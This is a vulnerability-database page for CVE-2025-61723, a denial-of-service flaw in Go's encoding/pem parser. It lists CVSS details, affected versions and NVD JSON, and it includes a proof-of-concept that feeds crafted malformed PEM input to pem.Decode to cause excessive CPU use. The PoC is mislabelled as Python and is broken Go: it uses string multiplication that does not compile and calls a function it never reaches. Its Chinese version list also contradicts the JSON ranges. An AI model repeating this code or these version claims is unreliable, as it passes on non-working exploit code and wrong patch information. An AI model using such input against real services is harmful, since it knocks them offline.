Security Vulnerability Report
中文
CVE-2025-61723 CVSS 7.5 HIGH

CVE-2025-61723

Published: 2025-10-29 23:16:20
Last Modified: 2026-01-29 15:49:05

Description

The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
Go语言 < 1.23.x(所有使用encoding/pem包解析不可信输入的版本)
Go 1.22.x 系列
Go 1.21.x 系列
Go 1.20.x 系列
更早的Go版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main import ( "fmt" "time" "encoding/pem" "io/ioutil" ) func generateMalformedPEM() string { // Generate malformed PEM input that triggers non-linear parsing // This creates a PEM block with crafted content that causes // the parser to consume excessive CPU time header := "-----BEGIN TEST-----\n" // Crafted payload: repeated malformed data patterns payload := "INVALID" + "A"*10000 + "\n" payload = payload + "-----BEGIN-----\n" // Nested/malformed header payload = payload + "B"*5000 + "\n" payload = payload + "-----BEGIN-----\n" // Another malformed header payload = payload + "C"*5000 + "\n" footer := "-----END TEST-----" return header + payload + footer } func main() { malformedPEM := generateMalformedPEM() fmt.Println("Starting DoS test with malformed PEM input...") fmt.Printf("PEM size: %d bytes\n", len(malformedPEM)) start := time.Now() // This will trigger the non-linear parsing behavior block, _ := pem.Decode([]byte(malformedPEM)) elapsed := time.Since(start) fmt.Printf("Parsing completed in: %v\n", elapsed) fmt.Printf("Decoded block type: %s\n", block.Type) fmt.Printf("Decoded block length: %d bytes\n", len(block.Bytes)) // With crafted input, parsing time should grow non-linearly if elapsed > 1*time.Second { fmt.Println("WARNING: Parsing took unexpectedly long time!") fmt.Println("This indicates potential DoS vulnerability") } } // Additional test: iterate with increasing input sizes func measureParsingTime() { sizes := []int{1000, 2000, 5000, 10000, 20000} fmt.Println("\nMeasuring parsing time vs input size:") for _, size := range sizes { payload := generateMalformedPEMOfSize(size) start := time.Now() pem.Decode([]byte(payload)) elapsed := time.Since(start) fmt.Printf("Size %d -> Time %v\n", size, elapsed) } } func generateMalformedPEMOfSize(targetSize int) string { header := "-----BEGIN MALFORMED-----\n" footer := "-----END MALFORMED-----\n" // Generate content to approach target size content := "X" for len(content) < targetSize { content += "-----BEGIN-----\nY\n" } return header + content + footer }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61723", "sourceIdentifier": "[email protected]", "published": "2025-10-29T23:16:19.927", "lastModified": "2026-01-29T15:49:05.343", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.24.8", "matchCriteriaId": "E1AB9501-4F7D-4E37-BA0A-4E57B082530C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.25.0", "versionEndExcluding": "1.25.2", "matchCriteriaId": "C196D175-EF20-476C-8C64-1B9F5C50AA2D"}]}]}], "references": [{"url": "https://go.dev/cl/709858", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://go.dev/issue/75676", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://groups.google.com/g/golang-announce/c/4Emdl2iQ_bI", "source": "[email protected]", "tags": ["Mailing List", "Release Notes"]}, {"url": "https://pkg.go.dev/vuln/GO-2025-4009", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/08/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}